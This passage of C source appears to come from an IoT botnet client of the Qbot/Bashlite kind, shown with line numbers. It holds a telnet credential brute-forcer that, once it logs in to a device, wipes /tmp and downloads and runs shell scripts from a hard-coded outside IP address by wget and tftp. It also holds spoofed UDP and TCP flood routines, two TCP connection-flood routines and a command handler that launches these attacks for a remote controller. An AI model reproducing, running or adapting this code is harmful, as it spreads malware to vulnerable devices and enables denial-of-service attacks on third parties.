  883.                             fds[i].complete = 1;
  884.                         } else {
  885.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  886.                             fds[i].totalTimeout = 0;
  887.                             fds[i].bufUsed = 0;
  888.                             memset(fds[i].sockbuf, 0, 1024);
  889.                             fds[i].state = 2;
  890.                             continue;
  891.                         }
  892.                     } else if(res == -1)
  893.                     {
  894.                         sclose(fds[i].fd);
  895.                         fds[i].state = 0;
  896.                         fds[i].complete = 1;
  897.                     }
  898.  
  899.                     if(fds[i].totalTimeout + 5 < time(NULL))
  900.                     {
  901.                         sclose(fds[i].fd);
  902.                         fds[i].state = 0;
  903.                         fds[i].complete = 1;
  904.                     }
  905.                 }
  906.                 break;
  907.  
  908.             case 2:
  909.                 {
  910.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  911.         if(matchPrompt(fds[i].sockbuf)) {
  912.                         fds[i].state = 7;
  913.                 }
  914.  
  915.                     if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  916.                     {
  917.                         fds[i].totalTimeout = 0;
  918.                         fds[i].bufUsed = 0;
  919.                         memset(fds[i].sockbuf, 0, 1024);
  920.                         fds[i].state = 3;
  921.                         continue;
  922.                     } else {
  923.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  924.                     }
  925.  
  926.                     if(fds[i].totalTimeout + 30 < time(NULL))
  927.                     {
  928.                         sclose(fds[i].fd);
  929.                         fds[i].state = 0;
  930.                         fds[i].complete = 1;
  931.                     }
  932.                 }
  933.                 break;
  934.  
  935.             case 3:
  936.                 {
  937.                     if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  938.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  939.                     fds[i].state = 4;
  940.                 }
  941.                 break;
  942.  
  943.             case 4:
  944.                 {
  945.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  946.  
  947.                     if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  948.                     {
  949.                         fds[i].totalTimeout = 0;
  950.                         fds[i].bufUsed = 0;
  951.                         if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  952.                         else fds[i].state = 100;
  953.                         memset(fds[i].sockbuf, 0, 1024);
  954.                         continue;
  955.                     } else {
  956.                         if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  957.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  958.                     }
  959.  
  960.                     if(fds[i].totalTimeout + 30 < time(NULL))
  961.                     {
  962.                         sclose(fds[i].fd);
  963.                         fds[i].state = 0;
  964.                         fds[i].complete = 1;
  965.                     }
  966.                 }
  967.                 break;
  968.  
  969.             case 5:
  970.                 {
  971.                     if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  972.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  973.                     fds[i].state = 6;
  974.                 }
  975.                 break;
  976.  
  977.             case 6:
  978.                 {
  979.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  980.  
  981.                     if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  982.                     {
  983.                         fds[i].totalTimeout = 0;
  984.                         fds[i].bufUsed = 0;
  985.                         if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  986.                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  987.                         else fds[i].state = 7;
  988.                         memset(fds[i].sockbuf, 0, 1024);
  989.                         continue;
  990.                     } else {
  991.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  992.                     }
  993.  
  994.                     if(fds[i].totalTimeout + 30 < time(NULL))
  995.                     {
  996.                         sclose(fds[i].fd);
  997.                         fds[i].state = 0;
  998.                         fds[i].complete = 1;
  999.                     }
  1000.                 }
  1001.                 break;
  1002.  
  1003.             case 7:
  1004.                 {
  1005.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1006.                     fds[i].state = 8;
  1007.                 }
  1008.                 break;
  1009.            
  1010.             case 8:
  1011.                 {
  1012.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1013.                    
  1014.                     if(send(fds[i].fd, "cd /tmp || cd /var/run; rm -rf *; wget http://46.166.185.141/e1.sh; sh e1.sh; tftp -r tftp1.sh -g 46.166.185.141; sh tftp1.sh\r\n", 123, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  1015.                     fds[i].state = 9;
  1016.                
  1017.                     if(fds[i].totalTimeout + 45 < time(NULL))
  1018.                     {
  1019.                         sclose(fds[i].fd);
  1020.                         fds[i].state = 0;
  1021.                         fds[i].complete = 1;               
  1022.                     }              
  1023.                 }
  1024.                 break;
  1025.             }              
  1026.         }
  1027.     }              
  1028. }
  1029.  
  1030. //          ___  ___     ___ _                 _
  1031. //  /\ /\  /   \/ _ \   / __\ | ___   ___   __| |
  1032. // / / \ \/ /\ / /_)/  / _\ | |/ _ \ / _ \ / _` |
  1033. // \ \_/ / /_// ___/  / /   | | (_) | (_) | (_| |
  1034. //  \___/___,'\/      \/    |_|\___/ \___/ \__,_|
  1035.  
  1036. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1037. {
  1038.     struct sockaddr_in dest_addr;
  1039.  
  1040.     dest_addr.sin_family = AF_INET;
  1041.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  1042.     else dest_addr.sin_port = htons(port);
  1043.     if(getHost(target, &dest_addr.sin_addr)) return;
  1044.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1045.  
  1046.     register unsigned int pollRegister;
  1047.     pollRegister = pollinterval;
  1048.  
  1049.     if(spoofit == 32)
  1050.     {
  1051.         int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1052.         if(!sockfd)
  1053.         {
  1054.             sockprintf(mainCommSock, "Failed opening raw socket.");
  1055.             return;
  1056.         }
  1057.  
  1058.         unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1059.         if(buf == NULL) return;
  1060.         memset(buf, 0, packetsize + 1);
  1061.         makeRandomStr(buf, packetsize);
  1062.  
  1063.         int end = time(NULL) + timeEnd;
  1064.         register unsigned int i = 0;
  1065.         while(1)
  1066.         {
  1067.             sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1068.  
  1069.             if(i == pollRegister)
  1070.             {
  1071.                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1072.                 if(time(NULL) > end) break;
  1073.                 i = 0;
  1074.                 continue;
  1075.             }
  1076.             i++;
  1077.         }
  1078.     } else {
  1079.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1080.         if(!sockfd)
  1081.         {
  1082.             sockprintf(mainCommSock, "Failed opening raw socket.");
  1083.             return;
  1084.         }
  1085.  
  1086.         int tmp = 1;
  1087.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1088.         {
  1089.             sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1090.             return;
  1091.         }
  1092.  
  1093.         int counter = 50;
  1094.         while(counter--)
  1095.         {
  1096.             srand(time(NULL) ^ rand_cmwc());
  1097.             init_rand(rand());
  1098.         }
  1099.  
  1100.         in_addr_t netmask;
  1101.  
  1102.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1103.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1104.  
  1105.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1106.         struct iphdr *iph = (struct iphdr *)packet;
  1107.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1108.  
  1109.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1110.  
  1111.         udph->len = htons(sizeof(struct udphdr) + packetsize);
  1112.         udph->source = rand_cmwc();
  1113.         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1114.         udph->check = 0;
  1115.  
  1116.         makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1117.  
  1118.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1119.  
  1120.         int end = time(NULL) + timeEnd;
  1121.         register unsigned int i = 0;
  1122.         while(1)
  1123.         {
  1124.             sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1125.  
  1126.             udph->source = rand_cmwc();
  1127.             udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1128.             iph->id = rand_cmwc();
  1129.             iph->saddr = htonl( getRandomIP(netmask) );
  1130.             iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1131.  
  1132.             if(i == pollRegister)
  1133.             {
  1134.                 if(time(NULL) > end) break;
  1135.                 i = 0;
  1136.                 continue;
  1137.             }
  1138.             i++;
  1139.         }
  1140.     }
  1141. }
  1142.  
  1143. //  _____  ___   ___     ___ _                 _
  1144. // /__   \/ __\ / _ \   / __\ | ___   ___   __| |
  1145. //   / /\/ /   / /_)/  / _\ | |/ _ \ / _ \ / _` |
  1146. //  / / / /___/ ___/  / /   | | (_) | (_) | (_| |
  1147. //  \/  \____/\/      \/    |_|\___/ \___/ \__,_|
  1148.  
  1149. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1150. {
  1151.     register unsigned int pollRegister;
  1152.     pollRegister = pollinterval;
  1153.  
  1154.     struct sockaddr_in dest_addr;
  1155.  
  1156.     dest_addr.sin_family = AF_INET;
  1157.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  1158.     else dest_addr.sin_port = htons(port);
  1159.     if(getHost(target, &dest_addr.sin_addr)) return;
  1160.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1161.  
  1162.     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1163.     if(!sockfd)
  1164.     {
  1165.         sockprintf(mainCommSock, "Failed opening raw socket.");
  1166.         return;
  1167.     }
  1168.  
  1169.     int tmp = 1;
  1170.     if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1171.     {
  1172.         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1173.         return;
  1174.     }
  1175.  
  1176.     in_addr_t netmask;
  1177.  
  1178.     if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1179.     else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1180.  
  1181.     unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1182.     struct iphdr *iph = (struct iphdr *)packet;
  1183.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1184.  
  1185.     makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1186.  
  1187.     tcph->source = rand_cmwc();
  1188.     tcph->seq = rand_cmwc();
  1189.     tcph->ack_seq = 0;
  1190.     tcph->doff = 5;
  1191.  
  1192.     if(!strcmp(flags, "all"))
  1193.     {
  1194.         tcph->syn = 1;
  1195.         tcph->rst = 1;
  1196.         tcph->fin = 1;
  1197.         tcph->ack = 1;
  1198.         tcph->psh = 1;
  1199.     } else {
  1200.         unsigned char *pch = strtok(flags, ",");
  1201.         while(pch)
  1202.         {
  1203.             if(!strcmp(pch,         "syn"))
  1204.             {
  1205.                 tcph->syn = 1;
  1206.             } else if(!strcmp(pch,  "rst"))
  1207.             {
  1208.                 tcph->rst = 1;
  1209.             } else if(!strcmp(pch,  "fin"))
  1210.             {
  1211.                 tcph->fin = 1;
  1212.             } else if(!strcmp(pch,  "ack"))
  1213.             {
  1214.                 tcph->ack = 1;
  1215.             } else if(!strcmp(pch,  "psh"))
  1216.             {
  1217.                 tcph->psh = 1;
  1218.             } else {
  1219.                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1220.             }
  1221.             pch = strtok(NULL, ",");
  1222.         }
  1223.     }
  1224.  
  1225.     tcph->window = rand_cmwc();
  1226.     tcph->check = 0;
  1227.     tcph->urg_ptr = 0;
  1228.     tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1229.     tcph->check = tcpcsum(iph, tcph);
  1230.  
  1231.     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1232.  
  1233.     int end = time(NULL) + timeEnd;
  1234.     register unsigned int i = 0;
  1235.     while(1)
  1236.     {
  1237.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1238.  
  1239.         iph->saddr = htonl( getRandomIP(netmask) );
  1240.         iph->id = rand_cmwc();
  1241.         tcph->seq = rand_cmwc();
  1242.         tcph->source = rand_cmwc();
  1243.         tcph->check = 0;
  1244.         tcph->check = tcpcsum(iph, tcph);
  1245.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1246.  
  1247.         if(i == pollRegister)
  1248.         {
  1249.             if(time(NULL) > end) break;
  1250.             i = 0;
  1251.             continue;
  1252.         }
  1253.         i++;
  1254.     }
  1255. }
  1256.  
  1257.  
  1258. //   __             __          ___ _                 _
  1259. //   \ \  /\ /\  /\ \ \/\ /\   / __\ | ___   ___   __| |
  1260. //    \ \/ / \ \/  \/ / //_/  / _\ | |/ _ \ / _ \ / _` |
  1261. // /\_/ /\ \_/ / /\  / __ \  / /   | | (_) | (_) | (_| |
  1262. // \___/  \___/\_\ \/\/  \/  \/    |_|\___/ \___/ \__,_|
  1263.  
  1264. void sendJUNK(unsigned char *ip, int port, int end_time)
  1265. {
  1266.  
  1267.     int max = getdtablesize() / 2, i;
  1268.  
  1269.     struct sockaddr_in dest_addr;
  1270.     dest_addr.sin_family = AF_INET;
  1271.     dest_addr.sin_port = htons(port);
  1272.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1273.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1274.  
  1275.     struct state_t
  1276.     {
  1277.         int fd;
  1278.         uint8_t state;
  1279.     } fds[max];
  1280.     memset(fds, 0, max * (sizeof(int) + 1));
  1281.  
  1282.     fd_set myset;
  1283.     struct timeval tv;
  1284.     socklen_t lon;
  1285.     int valopt, res;
  1286.  
  1287.     unsigned char *watwat = malloc(1024);
  1288.     memset(watwat, 0, 1024);
  1289.  
  1290.     int end = time(NULL) + end_time;
  1291.     while(end > time(NULL))
  1292.     {
  1293.         for(i = 0; i < max; i++)
  1294.         {
  1295.             switch(fds[i].state)
  1296.             {
  1297.             case 0:
  1298.                 {
  1299.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1300.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1301.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1302.                     else fds[i].state = 1;
  1303.                 }
  1304.                 break;
  1305.  
  1306.             case 1:
  1307.                 {
  1308.                     FD_ZERO(&myset);
  1309.                     FD_SET(fds[i].fd, &myset);
  1310.                     tv.tv_sec = 0;
  1311.                     tv.tv_usec = 10000;
  1312.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1313.                     if(res == 1)
  1314.                     {
  1315.                         lon = sizeof(int);
  1316.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1317.                         if(valopt)
  1318.                         {
  1319.                             close(fds[i].fd);
  1320.                             fds[i].state = 0;
  1321.                         } else {
  1322.                             fds[i].state = 2;
  1323.                         }
  1324.                     } else if(res == -1)
  1325.                     {
  1326.                         close(fds[i].fd);
  1327.                         fds[i].state = 0;
  1328.                     }
  1329.                 }
  1330.                 break;
  1331.  
  1332.             case 2:
  1333.                 {
  1334.                     //nonblocking sweg
  1335.                     makeRandomStr(watwat, 1024);
  1336.                     if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1337.                     {
  1338.                         close(fds[i].fd);
  1339.                         fds[i].state = 0;
  1340.                     }
  1341.                 }
  1342.                 break;
  1343.             }
  1344.         }
  1345.     }
  1346. }
  1347.  
  1348. //              _     _     ___ _                 _
  1349. //   /\  /\___ | | __| |   / __\ | ___   ___   __| |
  1350. //  / /_/ / _ \| |/ _` |  / _\ | |/ _ \ / _ \ / _` |
  1351. // / __  / (_) | | (_| | / /   | | (_) | (_) | (_| |
  1352. // \/ /_/ \___/|_|\__,_| \/    |_|\___/ \___/ \__,_|
  1353.  
  1354. void sendHOLD(unsigned char *ip, int port, int end_time)
  1355. {
  1356.  
  1357.     int max = getdtablesize() / 2, i;
  1358.  
  1359.     struct sockaddr_in dest_addr;
  1360.     dest_addr.sin_family = AF_INET;
  1361.     dest_addr.sin_port = htons(port);
  1362.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1363.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1364.  
  1365.     struct state_t
  1366.     {
  1367.         int fd;
  1368.         uint8_t state;
  1369.     } fds[max];
  1370.     memset(fds, 0, max * (sizeof(int) + 1));
  1371.  
  1372.     fd_set myset;
  1373.     struct timeval tv;
  1374.     socklen_t lon;
  1375.     int valopt, res;
  1376.  
  1377.     unsigned char *watwat = malloc(1024);
  1378.     memset(watwat, 0, 1024);
  1379.  
  1380.     int end = time(NULL) + end_time;
  1381.     while(end > time(NULL))
  1382.     {
  1383.         for(i = 0; i < max; i++)
  1384.         {
  1385.             switch(fds[i].state)
  1386.             {
  1387.             case 0:
  1388.                 {
  1389.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1390.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1391.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1392.                     else fds[i].state = 1;
  1393.                 }
  1394.                 break;
  1395.  
  1396.             case 1:
  1397.                 {
  1398.                     FD_ZERO(&myset);
  1399.                     FD_SET(fds[i].fd, &myset);
  1400.                     tv.tv_sec = 0;
  1401.                     tv.tv_usec = 10000;
  1402.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1403.                     if(res == 1)
  1404.                     {
  1405.                         lon = sizeof(int);
  1406.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1407.                         if(valopt)
  1408.                         {
  1409.                             close(fds[i].fd);
  1410.                             fds[i].state = 0;
  1411.                         } else {
  1412.                             fds[i].state = 2;
  1413.                         }
  1414.                     } else if(res == -1)
  1415.                     {
  1416.                         close(fds[i].fd);
  1417.                         fds[i].state = 0;
  1418.                     }
  1419.                 }
  1420.                 break;
  1421.  
  1422.             case 2:
  1423.                 {
  1424.                     FD_ZERO(&myset);
  1425.                     FD_SET(fds[i].fd, &myset);
  1426.                     tv.tv_sec = 0;
  1427.                     tv.tv_usec = 10000;
  1428.                     res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1429.                     if(res != 0)
  1430.                     {
  1431.                         close(fds[i].fd);
  1432.                         fds[i].state = 0;
  1433.                     }
  1434.                 }
  1435.                 break;
  1436.             }
  1437.         }
  1438.     }
  1439. }
  1440.  
  1441. //  __                _     __                _ _
  1442. // / _\ ___ _ __   __| |   /__\ __ ___   __ _(_) |
  1443. // \ \ / _ \ '_ \ / _` |  /_\| '_ ` _ \ / _` | | |
  1444. // _\ \  __/ | | | (_| | //__| | | | | | (_| | | |
  1445. // \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
  1446.  
  1447. /*
  1448. void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
  1449. {
  1450.         unsigned char buffer[1024];
  1451.         memset(buffer, 0, 1024);
  1452.  
  1453.         int fd = socket(AF_INET, SOCK_STREAM, 0);
  1454.         if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
  1455.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1456.         if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
  1457.  
  1458.         if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
  1459.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1460.         if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1461.         memset(buffer, 0, 1024);
  1462.  
  1463.         if(send(fd, "MAIL FROM: <mrras@rastrent.com>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
  1464.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1465.         if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1466.         memset(buffer, 0, 1024);
  1467.  
  1468.         if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
  1469.         if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  1470.         if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
  1471.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1472.         if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1473.         memset(buffer, 0, 1024);
  1474.  
  1475.         if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
  1476.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1477.         if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
  1478.         memset(buffer, 0, 1024);
  1479.  
  1480.         if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  1481.         if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  1482.         if(send(fd, "\r\nFrom: mrras@rastrent.com\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
  1483.         if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
  1484.         if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  1485.         if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
  1486.         if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
  1487.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1488.         if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1489.         memset(buffer, 0, 1024);
  1490.  
  1491.         send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
  1492.  
  1493.         close(fd);
  1494.         return;
  1495. }
  1496. */
  1497.  
  1498. //   _____  __    ___                _
  1499. //   \_   \/__\  / __\   /\/\   __ _(_)_ __
  1500. //    / /\/ \// / /     /    \ / _` | | '_ \
  1501. // /\/ /_/ _  \/ /___  / /\/\ \ (_| | | | | |
  1502. // \____/\/ \_/\____/  \/    \/\__,_|_|_| |_|
  1503.  
  1504. void processCmd(int argc, unsigned char *argv[])
  1505. {
  1506.     int x;
  1507.     if(!strcmp(argv[0], "PING"))
  1508.     {
  1509.         sockprintf(mainCommSock, "PONG!");
  1510.         return;
  1511.     }
  1512.  
  1513.     if(!strcmp(argv[0], "GETLOCALIP"))
  1514.     {
  1515.         sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1516.         return;
  1517.     }
  1518.  
  1519.     if(!strcmp(argv[0], "SCANNER"))
  1520.     {
  1521.         if(argc != 2)
  1522.         {
  1523.             sockprintf(mainCommSock, "SCANNER ON | OFF");
  1524.             return;
  1525.         }
  1526.  
  1527.         if(!strcmp(argv[1], "OFF"))
  1528.         {
  1529.             if(scanPid == 0) return;
  1530. printf("SCANNER STOPPED\n");
  1531.             kill(scanPid, 9);
  1532.             scanPid = 0;
  1533.         }
  1534.  
  1535.         if(!strcmp(argv[1], "ON"))
  1536.         {
  1537.             if(scanPid != 0) return;
  1538.             uint32_t parent;
  1539.             parent = fork();
  1540. printf("SCANNER STARTED!\n");
  1541.             if (parent > 0) { scanPid = parent; return;}
  1542.             else if(parent == -1) return;
  1543.  
  1544.             StartTheLelz();
  1545.             _exit(0);
  1546.         }
  1547.     }
  1548.  
  1549.     /*
  1550.         if(!strcmp(argv[0], "EMAIL"))
  1551.         {
  1552.                 if(argc < 5)
  1553.                 {
  1554.                         //sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
  1555.                         return;
  1556.                 }
  1557.  
  1558.                 unsigned char *target = argv[1];
  1559.                 unsigned char *host = argv[2];
  1560.                 unsigned char *subject = argv[3];
  1561.                 unsigned char *message = argv[4];
  1562.  
  1563.                 if (listFork()) { return; }
  1564.  
  1565.                 sendEmail(target, host, subject, message);
  1566.                 close(mainCommSock);
  1567.  
  1568.                 _exit(0);
  1569.         }
  1570. */
  1571.  
  1572.     if(!strcmp(argv[0], "HOLD"))
  1573.     {
  1574.         if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1575.         {
  1576.             //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1577.             return;
  1578.         }
  1579.  
  1580.         unsigned char *ip = argv[1];
  1581.         int port = atoi(argv[2]);
  1582.         int time = atoi(argv[3]);
  1583.  
  1584.         if(strstr(ip, ",") != NULL)
  1585.         {
  1586.             sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  1587.             unsigned char *hi = strtok(ip, ",");
  1588.             while(hi != NULL)
  1589.             {
  1590.                 if(!listFork())
  1591.                 {
  1592.                     sendHOLD(hi, port, time);
  1593.                     close(mainCommSock);
  1594.                     _exit(0);
  1595.                 }
  1596.                 hi = strtok(NULL, ",");
  1597.             }
  1598.         } else {
  1599.             if (listFork()) { return; }
  1600.  
  1601.             sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  1602.             sendHOLD(ip, port, time);
  1603.             close(mainCommSock);
  1604.  
  1605.             _exit(0);
  1606.         }
  1607.     }
  1608.  
  1609.     if(!strcmp(argv[0], "JUNK"))
  1610.     {
  1611.         if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1612.         {
  1613.             //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1614.             return;
  1615.         }
  1616.  
  1617.         unsigned char *ip = argv[1];
  1618.         int port = atoi(argv[2]);
  1619.         int time = atoi(argv[3]);
  1620.  
  1621.         if(strstr(ip, ",") != NULL)
  1622.         {
  1623.             sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  1624.             unsigned char *hi = strtok(ip, ",");
  1625.             while(hi != NULL)
  1626.             {
  1627.                 if(!listFork())
  1628.                 {
  1629.                     sendJUNK(hi, port, time);
  1630.                     close(mainCommSock);
  1631.                     _exit(0);
  1632.                 }
  1633.                 hi = strtok(NULL, ",");
  1634.             }
  1635.         } else {
  1636.             if (listFork()) { return; }
  1637.  
  1638.             sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  1639.             sendJUNK(ip, port, time);
  1640.             close(mainCommSock);
  1641.  
  1642.             _exit(0);
  1643.         }
  1644.     }
  1645.  
  1646.     if(!strcmp(argv[0], "UDP"))
  1647.     {
  1648.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1649.         {
  1650.             //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1651.             return;
  1652.         }
  1653.  
  1654.         unsigned char *ip = argv[1];
  1655.         int port = atoi(argv[2]);
  1656.         int time = atoi(argv[3]);
  1657.         int spoofed = atoi(argv[4]);
  1658.         int packetsize = atoi(argv[5]);
  1659.         int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1660.  
  1661.         if(strstr(ip, ",") != NULL)
  1662.         {
  1663.             sockprintf(mainCommSock, "UDP Flooding %s for %d seconds.", ip, time);
  1664.             unsigned char *hi = strtok(ip, ",");
  1665.             while(hi != NULL)
  1666.             {
  1667.                 if(!listFork())
  1668.                 {
